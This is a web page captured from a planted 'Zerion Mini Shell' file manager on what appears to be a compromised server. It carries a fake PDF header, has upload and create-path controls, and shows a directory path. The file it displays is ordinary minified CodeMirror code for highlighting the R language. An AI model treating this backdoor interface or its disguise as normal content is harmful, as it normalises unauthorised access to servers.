%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/bower/CodeMirror/mode/r/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/bower/CodeMirror/mode/r/r-min.js

CodeMirror.defineMode("r",function(D){function A(P){var O=P.split(" "),N={};for(var M=0;M<O.length;++M){N[O[M]]=true}return N}var H=A("NULL NA Inf NaN NA_integer_ NA_real_ NA_complex_ NA_character_");var B=A("list quote bquote eval return call parse deparse");var G=A("if else repeat while function for in next break");var F=A("if else repeat while function for");var C=/[+\-*\/^<>=!&|~$:]/;var J;function E(P,N){J=null;var M=P.next();if(M=="#"){P.skipToEnd();return"comment"}else{if(M=="0"&&P.eat("x")){P.eatWhile(/[\da-f]/i);return"number"}else{if(M=="."&&P.eat(/\d/)){P.match(/\d*(?:e[+\-]?\d+)?/);return"number"}else{if(/\d/.test(M)){P.match(/\d*(?:\.\d+)?(?:e[+\-]\d+)?L?/);return"number"}else{if(M=="'"||M=='"'){N.tokenize=K(M);return"string"}else{if(M=="."&&P.match(/.[.\d]+/)){return"keyword"}else{if(/[\w\.]/.test(M)&&M!="_"){P.eatWhile(/[\w\.]/);var O=P.current();if(H.propertyIsEnumerable(O)){return"atom"}if(G.propertyIsEnumerable(O)){if(F.propertyIsEnumerable(O)&&!P.match(/\s*if(\s+|$)/,false)){J="block"}return"keyword"}if(B.propertyIsEnumerable(O)){return"builtin"}return"variable"}else{if(M=="%"){if(P.skipTo("%")){P.next()}return"variable-2"}else{if(M=="<"&&P.eat("-")){return"arrow"}else{if(M=="="&&N.ctx.argList){return"arg-is"}else{if(C.test(M)){if(M=="$"){return"dollar"}P.eatWhile(C);return"operator"}else{if(/[\(\){}\[\];]/.test(M)){J=M;if(M==";"){return"semi"}return null}else{return null}}}}}}}}}}}}}function K(M){return function(Q,P){if(Q.eat("\\")){var O=Q.next();if(O=="x"){Q.match(/^[a-f0-9]{2}/i)}else{if((O=="u"||O=="U")&&Q.eat("{")&&Q.skipTo("}")){Q.next()}else{if(O=="u"){Q.match(/^[a-f0-9]{4}/i)}else{if(O=="U"){Q.match(/^[a-f0-9]{8}/i)}else{if(/[0-7]/.test(O)){Q.match(/^[0-7]{1,2}/)}}}}}return"string-2"}else{var N;while((N=Q.next())!=null){if(N==M){P.tokenize=E;break}if(N=="\\"){Q.backUp(1);break}}return"string"}}}function I(N,M,O){N.ctx={type:M,indent:N.indent,align:null,column:O.column(),prev:N.ctx}}function L(M){M.indent=M.ctx.indent;M.ctx=M.ctx.prev}return{startState:function(){return{tokenize:E,ctx:{type:"top",indent:-D.indentUnit,align:false},indent:0,afterIdent:false}},token:function(P,O){if(P.sol()){if(O.ctx.align==null){O.ctx.align=false}O.indent=P.indentation()}if(P.eatSpace()){return null}var N=O.tokenize(P,O);if(N!="comment"&&O.ctx.align==null){O.ctx.align=true}var M=O.ctx.type;if((J==";"||J=="{"||J=="}")&&M=="block"){L(O)}if(J=="{"){I(O,"}",P)}else{if(J=="("){I(O,")",P);if(O.afterIdent){O.ctx.argList=true}}else{if(J=="["){I(O,"]",P)}else{if(J=="block"){I(O,"block",P)}else{if(J==M){L(O)}}}}}O.afterIdent=N=="variable"||N=="keyword";return N},indent:function(Q,N){if(Q.tokenize!=E){return 0}var P=N&&N.charAt(0),M=Q.ctx,O=P==M.type;if(M.type=="block"){return M.indent+(P=="{"?0:D.indentUnit)}else{if(M.align){return M.column+(O?0:1)}else{return M.indent+(O?0:D.indentUnit)}}}}});CodeMirror.defineMIME("text/x-rsrc","r");

Zerion Mini Shell 1.0